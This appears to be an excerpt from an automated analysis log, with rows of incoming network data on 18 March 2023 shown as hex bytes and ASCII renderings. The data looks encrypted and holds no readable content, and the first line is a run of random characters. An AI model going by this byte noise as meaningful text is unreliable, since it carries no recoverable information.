He7W518j,V~jl\|Y~u3g9TNsnuf?\|s<]Y]^c[k8X/ 5$?Jr4j\|l6RF6\|TQ4rQ!=xZ4#)!U7bP6gVueS&F#bX36ZZ~vkwsn-w]
2023-03-18 04:38:08 UTC	198	IN	Data Raw: 03 bf e4 ca c1 14 59 c7 47 cf 13 08 55 2d 88 b6 33 04 16 a6 8e a1 41 44 c4 43 66 e7 79 c7 12 b5 a0 dc 5f 24 c6 02 a0 21 d2 6a 71 60 f9 9c f4 32 c3 31 99 20 8d f3 30 fe 04 2d 00 bd 81 fe 0c 10 eb cb 52 5a 33 ad a6 f1 0d c7 62 ef 71 a5 be b5 34 8c 6d 49 f9 00 99 3e 31 4c cd 50 14 31 4b ae c2 6c 9b 18 f9 c0 8b 45 06 22 68 d9 4f 3e 57 47 2b 14 40 20 fc 50 f1 30 3d 40 85 1b e7 59 10 c7 a5 a7 16 18 59 c0 29 f5 2e 52 ab c5 34 e3 47 97 84 09 d0 b7 b6 dd 1a 1f 3e 9d 4d 85 0a 5e ef 36 45 96 60 26 6d 30 88 f8 0e b0 02 ca f6 19 09 1f 65 78 d7 a0 35 b3 20 64 2e 1e ab 5f c2 48 8d d1 2b b8 22 97 02 a0 4b f3 ae 3f b6 60 48 c3 ab e6 1e a7 d7 9e 69 39 0c e9 9d a1 17 0a 76 1a cb e3 e8 ab bc 56 e6 d7 18 d3 a5 7f 50 8d 19 35 aa d2 53 55 f7 a5 1f 01 64 91 6b 66 1f 81 bf f4 ac Data Ascii: YGU-3ADCfy_$!jq`21 0-RZ3bq4mI>1LP1KlE"hO>WG+@ P0=@YY).R4G>M^6E`&m0ex5 d._H+"K?`Hi9vVP5SUdkf
2023-03-18 04:38:08 UTC	199	IN	Data Raw: c5 66 97 a8 b8 e0 72 c5 f2 b9 16 85 e1 f3 d3 f8 6f 67 89 54 77 c3 00 7e 2b 33 db 19 f9 1e 89 51 27 76 86 c4 07 c3 c9 04 86 b7 84 00 87 4a 9d c6 c3 0c 0e 9c 10 ad 7b e1 3b f0 a3 1c 60 ee a9 b6 95 15 e0 6c b8 75 98 16 ff 07 5b d8 b0 83 d6 81 22 6b 2c e6 36 f9 c3 d8 9e e3 a1 f2 0b fe 38 8b 26 34 96 a9 3b fa 19 05 c0 8d a9 6e 9d da 5b e0 7d f9 7f 2a 9d fe 0a 99 41 ba 2a a5 f6 51 d4 ab 9c 22 41 3b 0d c3 6f 34 92 f9 5c b9 40 5b f8 c2 17 4e 82 f3 89 33 76 fa 02 3f e7 14 8d 24 6a 47 b6 c7 11 e6 f5 7c 58 f1 df 5c a6 f8 12 1b db 2d 15 f5 4a 3b d8 c2 fe 70 95 13 1c 6e 6c f6 01 a6 71 29 42 b8 f1 bf 62 66 7a f5 b2 49 ea 6b b6 cf b0 6e 47 54 47 9b ca 90 e0 f2 1e 7b ee 04 29 de 18 63 d6 1e b9 b9 52 9f 95 09 d0 14 25 ef 09 83 92 14 9b 94 94 ca 57 c7 1c 2c 90 b6 b0 52 24 Data Ascii: frogTw~+3Q'vJ{;`lu["k,68&4;n[}AQ"A;o4\@[N3v?$jG\|X\-J;pnlq)BbfzIknGTG{)cR%W,R$
2023-03-18 04:38:08 UTC	201	IN	Data Raw: 83 13 5e 8d 18 5c bf 9f 83 00 6a 01 cd 76 86 00 e2 8c 3a d4 62 d2 9b cf 05 f0 82 64 48 ed 8c 17 0a b0 f4 04 e8 46 8a 5c d7 f5 f9 40 a4 5b 4a 2b a9 30 cf 9b fb ca 7e 20 d4 fc 42 54 91 90 0f 7e 94 f4 ef 64 92 00 74 bc 31 30 e3 ad 7d ad e6 e4 1d e9 25 22 dc e5 fb 1e f2 47 74 1a a0 fe 7c 27 8a 19 83 0a f8 ee 45 11 7f bc d5 59 34 66 1a dd c0 1e a0 ca c5 6c f3 ad ae 75 84 c6 ff bf 72 f4 77 88 f9 c2 bc c8 6a 1e df bc ae 39 60 f4 32 ab ff fe cb 33 61 72 8a 8c 02 3d 88 16 0f 9f 66 ac 4d 62 3d a2 ff 27 47 05 95 eb e6 03 01 66 34 87 04 35 38 24 80 a6 02 c9 69 02 bf 35 9f 99 cf 1d b0 03 9f 72 8e e3 1f 3a 22 76 e9 12 5a 38 cd 05 1e 5e 65 0d 3f 98 09 e1 c9 bd b4 28 ed 0f c4 1e 07 31 8f 46 51 2e 46 bf 08 19 9b 50 cb 98 a5 c3 b2 43 12 0b 65 c1 e9 b0 12 7f 5d 6a 96 89 37 Data Ascii: ^\jv:bdHF\@[J+0~ BT~dt10}%"Gt\|'EY4flurwj9`23ar=fMb='Gf458$i5r:"vZ8^e?(1FQ.FPCe]j7
2023-03-18 04:38:08 UTC	202	IN	Data Raw: b2 56 e8 bb 43 11 1b bd 1f bf 4e 1d d7 2f d8 bc b3 a0 40 47 97 48 88 17 9f 7e f9 ca db e5 83 c7 7c 17 99 d6 70 b8 33 77 80 2c 28 26 bd f0 23 05 3f 17 9c 92 3e 4b 6b ff 46 da b0 cc 32 f1 6e 1d b6 b0 4e 61 05 61 91 9b c4 d2 d5 83 f4 a9 2e 1a cf 87 7e d7 86 c1 b0 d5 54 0b f4 32 05 ff 1a 31 fb ec 2c 1f a3 8f ec 58 84 05 15 0d cd 22 aa eb 61 07 77 ec 27 de 6a 00 f1 41 2c b3 d3 d4 5b 6f 27 5b 14 00 fd 80 6d 2e 9d a1 9c 9f 9a 7b f5 2b 04 2f 84 19 81 d4 32 22 6f 69 e6 f4 53 3d 6f e0 d3 86 ac 7d cd f9 cc 0d 66 2b 40 00 d4 b0 1e 15 23 7b ca e9 9c 7c 1f bb 1e 9a 50 b4 50 1c db 4d cc 3b ad 87 bd 17 28 4c 92 44 8c c6 7e ae ca 0d 94 48 ec 54 4f 2d c7 e7 8f 02 70 f9 05 43 42 78 b2 1a 2c da bc 72 76 41 08 20 56 df d6 31 5b 69 16 63 9f 33 26 3f 6b ed eb c3 c1 c0 0d 10 af Data Ascii: VCN/@GH~\|p3w,(&#?>KkF2nNaa.~T21,X"aw'jA,[o'[m.{+/2"oiS=o}f+@#{\|PPM;(LD~HTO-pCBx,rvA V1[ic3&?k
2023-03-18 04:38:08 UTC	203	IN	Data Raw: 66 12 58 bb 6c 27 a6 97 a1 eb 65 05 bb 87 7d d5 8c 12 ee 00 82 f1 f1 c8 50 20 24 04 95 b8 ce c5 ae 0e b7 30 7f 59 28 ca 1d 84 24 48 3d 9e d5 d6 8d 3f da 06 b8 40 ab 34 22 0f 05 53 b4 ff 1d da 44 7d c2 3b cc 32 54 3e 85 3d 08 50 f3 6d 04 b7 6c 44 8c bb 8d 22 7a 81 77 de bc 63 45 f6 c3 0a bf 38 52 a3 89 c0 5a 15 fb e9 81 6c 54 21 49 8b 56 33 78 6e e1 0a 60 2c da 21 7d 84 5d a3 45 51 8f 05 5b 26 fb c4 04 49 92 7f 9a 78 72 57 c1 b7 ae d1 39 2e 9f d6 c0 52 23 82 00 b7 a1 44 0d 53 b4 8d f6 8a 5d 3e 12 e6 f0 83 11 b8 a2 90 ee ee 8f 9a 11 ac 6d ce 56 82 20 7b 16 a5 a2 e7 8b ca 18 c6 56 5b b2 41 17 e0 37 db a6 ff df d6 20 53 b6 9e 99 7d bc 9f 79 78 3d 4d 2e f1 39 47 1e 3b 46 65 ac 8a 1e a8 0b ec 96 da e9 ae fa 0d 78 0a c6 dd 6c 93 14 3b e5 69 68 e0 22 93 25 f7 85 Data Ascii: fXl'e}P $0Y($H=?@4"SD};2T>=PmlD"zwcE8RZlT!IV3xn`,!}]EQ[&IxrW9.R#DS]>mV {V[A7 S}yx=M.9G;Fexl;ih"%
2023-03-18 04:38:08 UTC	204	IN	Data Raw: bd f4 01 3f 78 de 74 2a cc 1b 25 69 ef cf a5 57 a6 09 95 2f 99 59 e0 d6 fb ba fd fa 7e be a1 86 9b 88 b3 fe cf b5 1a ee 7f 6b ca fe d4 fe 41 a0 5d ff 86 de c3 01 45 95 30 d1 7c 02 eb 48 da ee 14 a7 81 94 1f 37 ac 01 a6 3e ad 01 5f 9f a1 37 b7 da 27 27 80 21 3d ff 60 0b 82 a6 14 c1 26 24 75 41 25 80 50 ca 9a e1 fd e3 04 ce 06 dd d4 c5 ac b5 70 78 bd 8a ac 84 da ef 04 2e 16 45 43 b8 f6 a4 57 72 4d 88 f6 bf f6 12 07 2f 8f 50 0e 76 7b 52 e9 8b 08 e1 3a cb e4 af 0f 99 25 73 4c 98 15 90 77 de 34 20 d7 9a 8e 4f 0a c9 c7 60 66 aa 3f 04 52 38 8c 1d cf 85 97 74 6f b2 a2 15 cd 8f ea 33 1d 39 dc 7f d9 a9 2a 80 84 cd 92 1e 01 af b7 4f 16 b4 7e 6d ff 23 7f 3e 5d 55 9f 6b 8c cb 59 15 58 d4 50 8c ca 34 62 e7 c8 4f 61 cf 4e c7 b4 21 5a 1b c8 c6 22 11 00 8c e5 d2 59 c1 48 Data Ascii: ?xt%iW/Y~kA]E0\|H7>_7''!=`&$uA%Ppx.ECWrM/Pv{R:%sLw4 O`f?R8to39O~m#>]UkYXP4bOaN!Z"YH
2023-03-18 04:38:08 UTC	205	IN	Data Raw: c4 a8 b9 a9 2f 68 9a e1 33 ba c1 e4 b9 91 1a c3 5e 0c 57 05 29 71 dd b2 8b 3a 52 98 c4 aa c3 5a 2f 8b b8 41 a2 ce 9d 13 ee 94 de aa 3d b2 db ef 29 15 97 a5 a7 b5 a3 86 8e 23 2e cf ad 12 2b 52 78 f4 90 10 3c 2e 19 85 b4 5a 73 1a 56 8c 80 42 2b 92 a8 d9 a6 be c9 34 30 73 52 fa 8f 37 f9 00 ed 56 28 c7 c7 bb ae 48 37 44 5d 8b 85 ce 01 d8 e4 ce 58 6a 27 f6 73 22 ea 3d 1a fc 71 79 83 af 3d d2 01 fa 9a 0c d5 ce 44 92 17 88 78 cb 47 b6 85 67 84 d3 20 cd 6d 8b 0b dc 53 94 30 49 95 bf 5d 5e a2 bc ca 6a d1 a0 f6 a5 6b d3 07 09 38 83 9d a0 2b 88 3b fc dc 7b d2 71 85 0e 99 32 82 ae a8 40 92 0c d9 a7 67 1f 73 d4 55 e2 44 be e7 5a 55 3a 4b 58 c4 48 77 f2 e4 65 85 94 68 33 62 9f 20 80 11 16 e8 0c bd fe fb e5 af bb 10 7c d5 ec fd 9f f1 46 b4 9b 49 d7 28 4f cf 97 e2 b6 d2 Data Ascii: /h3^W)q:RZ/A=)#.+Rx<.ZsVB+40sR7V(H7D]Xj's"=qy=DxGg mS0I]^jk8+;{q2@gsUDZU:KXHweh3b \|FI(O
2023-03-18 04:38:08 UTC	207	IN	Data Raw: 0c d3 c4 f0 57 83 c3 24 a9 26 c0 32 91 2f c2 4b 2d d8 a0 62 1a 99 94 e0 11 5d 29 75 9c 5f 9b 5f 9e 39 4a b3 24 fc 28 94 fc b2 4f 81 cd 93 a4 38 86 ca f9 76 c9 01 af b4 38 b3 d9 8a b5 a6 d4 39 55 b5 24 dc 08 79 ca 7e ee 85 29 f3 9e 45 2e 70 a8 3b 79 7a 8a 94 5c 9d 4d d8 73 93 3e 0c d3 e2 b9 5e 2a 5c fd ed ca 4e 76 b1 b7 99 0f a0 02 f5 f1 fe 6f 0e 9a 14 5e cd a5 0f 6a 87 a4 1e 83 38 49 ab 1c 88 36 dd f9 10 b2 13 50 6d 42 de 34 b0 b3 ee 9a cd fd 33 49 5d 10 2c 81 70 83 a9 bd fb c2 38 bf 2b 2a 13 34 02 7d dc c6 ea e8 8e 3a 2c cf 0b 5d 21 dc ee 56 3e cf a5 e4 7e 27 ee 73 30 82 43 96 f5 e2 94 ae b5 12 f9 9b 05 d7 3d b2 d1 d0 d6 3c 2c 70 e8 60 54 b4 60 cf 5a 72 cf 64 d6 6e 01 d0 b7 d1 c6 18 d9 91 49 37 40 4e ca a8 7e 45 f4 ce 0a f4 96 91 59 7f 1e bf cc 37 cf 93 Data Ascii: W$&2/K-b])u__9J$(O8v89U$y~)E.p;yz\Ms>^\Nvo^j8I6PmB43I],p8+4}:,]!V>~'s0C=<,p`T`ZrdnI7@N~EY7
2023-03-18 04:38:08 UTC	208	IN	Data Raw: b0 11 c0 50 5a 5c eb fe f6 6e 09 6b 02 8c 78 f3 c2 e9 f2 07 8d 77 a5 ce 60 bd 07 7f fb e4 a4 d8 25 82 9d 19 74 ef e4 a9 d8 67 08 2c 95 16 64 d0 55 62 5d 8f ba 66 6f db 8a cb ec 15 7a b5 c9 55 a5 b0 e5 9a 98 25 61 0f d3 93 67 99 a1 86 d8 a6 c4 4b 63 93 98 fc c0 c1 a6 51 ee ca 7a a4 69 73 08 59 de da 95 ab 3d c7 16 d3 f4 51 13 22 82 a4 c8 16 b4 f0 1a ef 4f 06 62 1c d3 87 88 04 49 e0 d6 a3 c2 23 7c 56 e8 70 55 1e 9d ad ef cd 16 6e 58 be ca 3a 59 79 18 8d 7b fb 1c 5e ce 98 87 ab 2c 18 83 da 80 6e b7 e6 29 86 8a 48 d8 47 37 e8 a3 c1 c1 d3 ea cb da d3 b2 aa 3d 65 42 fa 9e e6 cb dd 7b d6 0e 8d 23 4e 2c 14 d0 8f 3f a9 5b 11 f5 41 10 44 97 a0 1b 47 9b cd d7 72 d8 e3 cd 3c 06 fd fc a6 10 a3 f9 92 99 f0 74 87 71 5a 5c b2 d7 42 b8 d6 ea 19 84 38 95 8a 39 28 e0 49 16 Data Ascii: PZ\nkxw`%tg,dUb]fozU%agKcQzisY=Q"ObI#\|VpUnX:Yy{^,n)HG7=eB{#N,?[ADGr<tqZ\B89(I
2023-03-18 04:38:08 UTC	209	IN	Data Raw: 04 e9 f7 0b 47 00 88 83 30 87 c3 53 91 94 8e 56 b7 a2 c4 dd 77 11 92 de 90 de 1d 1a 91 e4 e3 44 30 58 ba 00 16 bd 56 15 d0 64 bc 97 ee 52 ec f5 e0 da c9 e7 b7 16 04 c3 71 ca 4a 25 ea 7f 72 16 0c a5 50 8e b6 a6 c1 ae b6 5f 2c f2 bd 47 52 1e 46 a2 31 69 56 a4 bc 2c 61 1e 49 72 8e 4f c5 91 5d 90 d0 0b 32 e4 f7 84 bd f8 5c 07 Data Ascii: G0SVwD0XVdRqJ%rP_,GRF1iV,aIrO]2\
2023-03-18 04:38:08 UTC	209	IN	Data Raw: ac ce 45 6f ca c1 f4 9d 77 0f 8f 8b 2e 41 78 79 05 85 37 e2 d4 0e 04 81 60 33 36 0e 36 2c 61 d3 4a 12 85 38 a2 dd e5 e2 05 70 96 c9 f3 e9 d3 6c 7a 27 5e 36 b5 f8 fc f2 1b f3 21 e3 88 81 7a b0 4f 2b 23 1f de bd c5 19 99 33 9c 67 67 cc 46 77 16 84 1a 35 62 c6 5e a4 eb 4f 4a a5 d5 11 91 6f 2a b8 9c 5c 4d 64 de 0d e3 02 15 a0 15 b9 f6 d0 a0 01 02 0c 6f a0 79 d5 c5 6f a4 dc 3a b1 b3 58 bc e4 eb 1b b4 0c 19 b0 7b 76 bb 69 3c d4 46 37 0b 1a 28 79 28 a4 c9 27 0f da a0 44 21 1f fd 9a cf e8 06 dc ad 47 14 ca bc 8e b0 5b cb 4f 36 f2 c9 a6 ee fc 0e e1 2d fe a1 bb 97 5f 27 21 77 91 aa 0e e5 89 a3 39 78 19 b2 71 c3 ed d8 cc 85 dd a7 81 b7 18 e9 d4 0f 3f b0 30 80 81 d6 78 e5 01 18 8c c4 25 ce 4d 7a 17 82 03 fc 1a f7 fe 4b a1 ce 50 b9 d5 7e 4d 2d 7a 4b c8 5a e8 90 be d7 Data Ascii: Eow.Axy7`366,aJ8plz'^6!zO+#3ggFw5b^OJo*\Mdoyo:X{vi<F7(y('D!G[O6-_'!w9xq?0x%MzKP~M-zKZ
2023-03-18 04:38:08 UTC	210	IN	Data Raw: 94 7f 19 0a 99 70 c1 af 37 a7 39 74 ba 4a f7 10 d1 e4 79 fa e1 e4 79 3e 39 e5 e5 1f 88 74 9b 90 ea 2a 71 9f 9a fd f3 06 31 05 0a 0e dd 0a c5 75 18 f5 77 f4 6c b9 2c e9 27 6c 95 3b bd e1 9f 57 e9 78 20 63 83 58 0f b4 0b be fc ad c8 41 9c f2 47 f6 83 fc de f8 90 f1 87 27 b4 7d aa 60 1f d4 bf 7c 57 46 9f de 3f 73 df f4 9a 19 fe fa 0b 3d 67 79 c3 27 97 78 52 0d 43 bf d3 2f 19 e9 cb 08 fd 37 ed 82 4c fd 70 b2 1b 95 c0 ef f0 8c d3 38 6a bb 11 ac e8 1d 97 a9 c7 59 a1 fd 65 27 3d a6 15 56 86 14 c6 04 dc 07 3d 0d ca 06 ff 9a 7c 2d b4 82 9c c2 b5 bd 35 23 a4 3d 13 8a 15 45 b1 07 0c bc e7 87 cf 25 00 ad d5 88 6b 00 bd 69 a2 0a ad ce e4 45 da 9e 9c c6 e3 b0 cb 10 6d 41 16 52 f4 62 25 08 10 f4 70 1a b9 8c bd 43 de 55 a7 b8 15 c3 32 f5 e5 4e 20 4f 0f 2b 16 2a 3c 0b fa Data Ascii: p79tJyy>9tq1uwl,'l;Wx cXAG'}`\|WF?s=gy'xRC/7Lp8jYe'=V=\|-5#=E%kiEmARb%pCU2N O+<
2023-03-18 04:38:08 UTC	212	IN	Data Raw: 81 e0 dc 98 31 93 26 c5 75 34 e9 81 49 69 08 9f 07 e4 5f df 31 3e 9d a7 3a a2 28 59 9c 7f 03 b7 0f 5c f0 27 c6 c2 9b 04 d1 3d 4f 60 76 01 5d 9f 97 64 21 f4 18 51 b0 81 db 82 8b 8f 05 b4 f9 52 b2 61 5e 52 39 e4 3c b3 ef 32 57 ae 6f cf a5 66 4f 3b bc 63 2f 02 6f 78 c3 f2 99 7a 6d e9 fc 2b 4f 7a ea 94 28 f2 c0 79 15 3b f7 23 2d 9f a9 bd 9f 97 f2 06 68 2a 13 cb 0c 72 76 19 05 b4 28 bf e7 5c ad 20 de 1e e0 72 ec c2 b4 61 4a b7 9a 83 d1 f3 27 b9 44 bb a4 65 15 c8 af c4 cd 3f 16 0a 34 83 39 be cc bb 6f 47 e7 45 09 29 4c 69 ab 63 2d e2 25 8c 74 d2 69 9d d2 36 81 a7 7f 7c f0 ba 31 4c 09 b5 5d 12 a1 00 75 40 d8 18 69 1d 2e 26 03 ba e9 a4 7b be 80 eb c3 23 0e 69 12 18 01 e3 b9 35 2e 8f fb 18 da 50 aa 00 30 f0 9a 36 10 92 3b 38 e9 65 cf cf 1f 0b 44 b8 12 78 fc 2c ba Data Ascii: 1&u4Ii_1>:(Y\'=O`v]d!QRa^R9<2WofO;c/oxzm+Oz(y;#-h*rv(\ raJ'De?49oGE)Lic-%ti6\|1L]u@i.&{#i5.P06;8eDx,
2023-03-18 04:38:08 UTC	213	IN	Data Raw: c0 46 ce 95 e9 f0 21 92 dd ff 41 58 fa b0 cb b5 6f 14 6c a5 7c 35 36 b2 98 49 1f c0 26 f2 69 6e c6 32 64 2a 68 44 e6 0b f7 29 04 11 04 35 3c 6b 9f 53 48 91 bf 98 dc 99 f2 26 9a 46 11 24 77 a8 a7 c7 16 cf 1d 11 51 db 28 4d a4 02 d7 ab 3c ac a9 09 b4 72 30 9f fe ef 28 91 d5 5a 3f 66 57 57 0a 13 96 99 79 fd c5 b2 58 92 5f 73 ad c7 19 22 3c cf 86 19 91 05 36 d1 c0 9a 79 a3 17 c3 9b 77 a4 38 8c 40 cf 8c 31 9e e9 4f 1a 84 30 ff 96 77 f3 5f 05 94 7e c3 ec 99 19 2b 62 8c a9 44 ad ba fc 15 a0 58 05 9a 5a 15 64 ae eb 63 a2 4b 75 5e a2 24 ae 10 04 63 50 cf 50 3f a0 1f e0 e8 2f 6b 8b 43 82 24 a4 06 96 64 91 cb aa ae e5 a8 23 59 4f 34 ec 31 c5 4c fc ab 78 d6 eb 8b 4b e2 2b bf cf bc 5e 63 ed 8a ba 66 44 d2 b4 4c 9e cb bb 97 42 d1 d6 cd fc a7 29 2b 7f 6f b9 5d f7 c6 71 Data Ascii: F!AXol\|56I&in2d*hD)5<kSH&F$wQ(M<r0(Z?fWWyX_s"<6yw8@1O0w_~+bDXZdcKu^$cPP?/kC$d#YO41LxK+^cfDLB)+o]q
2023-03-18 04:38:08 UTC	214	IN	Data Raw: bf 37 38 f2 a3 19 26 13 2e 48 be 56 4e 6d 76 0a 16 6a dc af 8b 4a c2 d2 ec 91 9b 25 3c bc 2a 36 5c 9f 83 e0 0c 7b b1 fa 0b bc a4 94 1d 03 4f 79 4c d7 9e 9b 98 f7 f7 21 dd 5b 1d dc 9d 21 b3 50 e7 05 e7 ae 46 a9 ee 61 00 d3 2e 90 2e 71 33 62 8e 15 1c 2e f0 50 e1 21 ad 26 72 09 a2 b2 90 a8 7b d8 ed 8b 9a 49 5a 43 0e 2b a5 6d a7 89 95 41 33 45 bc 8f df bf 02 01 b5 4b 3f 22 9e 0a 79 68 c3 0e 0e 07 4a 79 fe f9 ce 94 5c 57 cb a7 9b 49 15 3d 0d 66 c2 89 0a 42 55 80 30 4a e2 ef fc ad 23 bd 15 66 82 a7 83 01 88 fa ed b4 70 15 f1 5c e5 17 27 4c e3 bd a2 6d 53 35 4d 29 c7 ce 20 9d 9b 26 5a 01 22 24 a5 5d b1 94 f7 41 4b fd 50 df 1c bd ce 6e 76 a7 c1 c0 fd bc 57 7a 93 06 b0 70 3b a1 43 12 0e 34 72 31 99 ce d6 b1 e0 aa 98 4f f4 5c af ce ec 26 5c d3 4d c1 d0 85 e5 6d 09 Data Ascii: 78&.HVNmvjJ%<*6\{OyL![!PFa..q3b.P!&r{IZC+mA3EK?"yhJy\WI=fBU0J#fp\'LmS5M) &Z"$]AKPnvWzp;C4r1O\&\Mm
2023-03-18 04:38:08 UTC	215	IN	Data Raw: 0a 51 01 cb fd dc 24 a5 bd 74 69 be 7d d4 62 0a 47 90 b0 94 18 e3 2a 99 ab 96 68 6c 05 ea e4 8b 04 54 e2 be 73 a5 32 da 8f 0c 77 a1 47 d8 71 30 13 a1 bc 68 60 03 85 38 dd 8a ba 63 1a 53 c8 b8 2c f4 8f c0 8c 91 db 9b 98 c6 fe 5d ca 4a 50 c3 7f 7d 22 29 d2 1c 3c 7f f4 70 cd 10 13 7b 04 25 92 ad ad 29 42 76 0d 97 7a f4 f8 31 f3 cb a4 71 a3 cc 48 c3 36 3b 74 bf e5 b7 d2 48 17 af 17 a5 3e 50 6b 24 3a a9 e9 70 89 b8 a5 45 7f 38 f0 05 e0 a2 ab 2b 69 8e 39 59 4b ff 2a 95 4a c6 de d0 99 45 b6 d8 55 af f0 b5 33 16 e7 60 ca d3 be 99 4b 2c 33 27 bf 7e 79 9f db 6c e7 95 36 f2 60 12 1f 69 0c 69 a5 e9 ae 96 1f 3e 20 34 07 b9 9d 1e 3e b2 dc 27 95 7e 27 c6 a6 83 32 9e 23 f4 f6 89 eb bc 19 9a f6 9e 86 47 64 ab 7d 02 14 35 14 37 98 97 b0 2c e0 18 9e 86 05 b4 ab f0 bb bd 83 Data Ascii: Q$ti}bGhlTs2wGq0h`8cS,]JP}")<p{%)Bvz1qH6;tH>Pk$:pE8+i9YKJEU3`K,3'~yl6`ii> 4>'~'2#Gd}57,
2023-03-18 04:38:08 UTC	217	IN	Data Raw: 21 2d 5b f3 9a 02 bf 8e e4 51 9b 54 44 37 1a a8 8b e2 af 94 a2 ea 0a b4 81 ae f2 33 b2 a8 ac 68 7b 7c ad 12 20 78 f4 ee de 09 65 cc 3d e5 52 5e 79 3d 65 57 32 da 38 e6 46 44 19 70 62 9e c4 6f 67 d2 f0 97 d1 b4 8d ee 7d 5b 86 9a 87 33 18 e6 ce 6f b4 8d 91 fc 3d 58 f5 e9 4b 43 74 58 54 96 b2 eb a2 39 a8 7e 21 61 5b cc e2 e7 b3 c9 cb 49 ef 58 9f 1b d2 12 5a 08 94 0e ba fd cb 11 f1 97 a5 7f b1 f1 9e e4 e0 e7 53 dc ff af 95 ad 5c c5 88 54 b1 78 d4 fc db f4 2a d1 1b 00 59 34 29 7b a4 de 91 eb 41 20 93 aa 95 99 a7 11 b6 d1 7f 60 45 a8 d5 a2 7d 65 86 63 5e 2b 24 91 fb 36 38 30 b9 3e 87 6a 69 54 4f d0 48 10 9c 26 e1 3b 98 65 98 83 da 21 e5 b2 11 2c 92 46 41 41 87 ce 56 71 27 81 21 d8 b3 5c eb e9 a5 e9 6b a9 a9 0b 9c aa d4 74 a8 c5 82 8d 93 52 2a 82 3a e2 97 e7 ff Data Ascii: !-[QTD73h{\| xe=R^y=eW28FDpbog}[3o=XKCtXT9~!a[IXZS\TxY4){A `E}ec^+$680>jiTOH&;e!,FAAVq'!\ktR:
2023-03-18 04:38:08 UTC	218	IN	Data Raw: 3f a8 26 9f 2a 2b 6a 1b 2c 0e de 7d ff 59 a8 f6 f1 50 e0 1f 3b 63 5b 8d 6b 58 c5 fc 83 d4 6b 92 a0 86 1c 83 6b 53 28 51 68 d4 94 3e 72 03 0d 74 2c 0e 36 76 93 ee cb 2f 6f 7e 5b a5 88 ee 71 9d ee 3c cc b1 21 35 b9 25 a6 ef 9f 23 bb cf ed f1 08 7d e3 e8 29 db 0a 63 e4 c4 99 c8 33 3a b7 29 7c 12 d5 06 63 aa 02 1a 39 4f 70 6a 7f b9 06 c3 11 d7 b4 e1 0d 99 6e db b3 eb 69 4c d1 c2 50 fc 84 5c e5 9e 99 d0 3c 60 7d dc 93 b8 b9 a0 cf 58 87 93 c6 4a 82 57 31 97 c3 5f 91 25 a7 1b 0b 68 27 dc 9d 22 05 af 3d ed ef 2e 5e 6f fc 1e 0d f6 6d ec 9e 12 64 84 a7 e6 bf d8 ac 4f 98 58 03 dc 79 f8 9f 83 d7 a7 26 7e af d9 8d b3 ad 88 02 ea 54 18 b0 d7 4e 5b 5c 32 b0 19 7c 5a 7e d7 48 1b 94 bf f6 0d 79 2b c3 07 66 bb c9 12 c4 26 6a a2 2e d9 f2 cb 49 e5 43 87 73 b5 44 da 15 7b 56 Data Ascii: ?&*+j,}YP;c[kXkkS(Qh>rt,6v/o~[q<!5%#})c3:)\|c9OpjniLP\<`}XJW1_%h'"=.^omdOXy&~TN[\2\|Z~Hy+f&j.ICsD{V
2023-03-18 04:38:08 UTC	219	IN	Data Raw: 7c 57 44 07 bc 9a d5 63 8e fd 29 1a 02 d3 64 ca e1 9c 9e 72 32 81 26 19 09 9d 34 e6 d9 8b f3 79 fc 43 5e 4e ef e8 1c c0 bf 2e dc 8d 60 50 28 fe 75 99 41 4d 78 ac 7d 63 c7 6a 47 ca df f7 9d 99 61 f5 ce ab 53 73 46 35 a3 f0 22 5a 65 72 2f ba f1 f4 06 3c 53 e6 79 4a cf 6c 8a b2 55 60 64 ce aa bb a1 07 78 9b 21 cc 39 3c 7f 25 06 be 47 5c 41 13 55 ba 86 0c bd b2 ca 7d b0 4c 2b 7f 34 3f cf 5e fe 4a 53 29 a0 1d 2a cb 36 02 b2 e9 89 3f 36 91 bb cb ad 2a 22 5d 80 21 4c da 34 9f e5 90 49 0c fb 02 87 93 f2 85 48 36 6d f2 d5 22 d0 a1 c9 f0 48 2f cd 62 e2 6d 54 f4 53 b1 da f7 91 5e 9b e1 27 82 56 50 ac 7d 05 e9 e1 57 23 66 66 de 1f cd cd be 7f a0 70 b3 6c 06 bf 80 06 95 f8 f7 74 12 11 ab 1e 20 e2 0f a6 e9 e4 91 a8 a5 4a d5 5d 09 24 37 e3 ea b3 a1 eb 7c d8 9b 14 18 bf Data Ascii: \|WDc)dr2&4yC^N.`P(uAMx}cjGaSsF5"Zer/<SyJlU`dx!9<%G\AU}L+4?^JS)6?6"]!L4IH6m"H/bmTS^'VP}W#ffplt J]$7\|
2023-03-18 04:38:08 UTC	220	IN	Data Raw: 76 98 3d 5a 88 f4 cc d1 b1 a5 7c c4 20 61 3d 0d 02 d3 a8 a2 4b a1 5d d7 49 10 ef c4 52 4c e2 a1 6a fb 5c 33 46 f4 b5 f5 b2 2c 97 16 b5 99 82 d7 91 b6 ca 42 5f 8f b5 29 6d fd d6 f2 d0 62 a8 31 89 c3 8f 2f 0a 39 2d 38 43 e0 ad 76 1e 9e 37 57 53 4c d0 9e 39 58 15 2a 06 27 68 fe 10 19 c3 c0 65 be cd 56 cc 26 68 51 45 fa eb 5c c0 2d 6e 79 c1 2c 6f dc 3f 3c 69 44 de e7 e0 94 8b ec 56 17 a2 1d 8b 1a 37 83 e3 de 03 22 13 d1 7f 44 81 c7 af af 96 fc 8f c9 9a b1 e2 76 63 a5 88 ce 2d d3 77 88 61 d2 c3 2d 7b 59 3c 8a 8a 2a ad 3d 72 4f cc 92 0c 05 7e 8d ad ba ef 03 31 e1 93 fa 14 38 b5 6a 2d d0 9b f9 54 c2 d6 0e 67 3d 1d f0 f0 14 58 8f cd 1b d2 f0 04 7b 62 a8 2c 02 2a d5 48 50 09 7a 7f 6d ef 19 27 cd 40 5e 68 07 74 5c 0a 0e ee a0 b3 4a 0d c4 d4 af 79 00 ab 61 e6 3c 11 Data Ascii: v=Z\| a=K]IRLj\3F,B_)mb1/9-8Cv7WSL9X'heV&hQE\-ny,o?<iDV7"Dvc-wa-{Y<=rO~18j-Tg=X{b,*HPzm'@^ht\Jya<
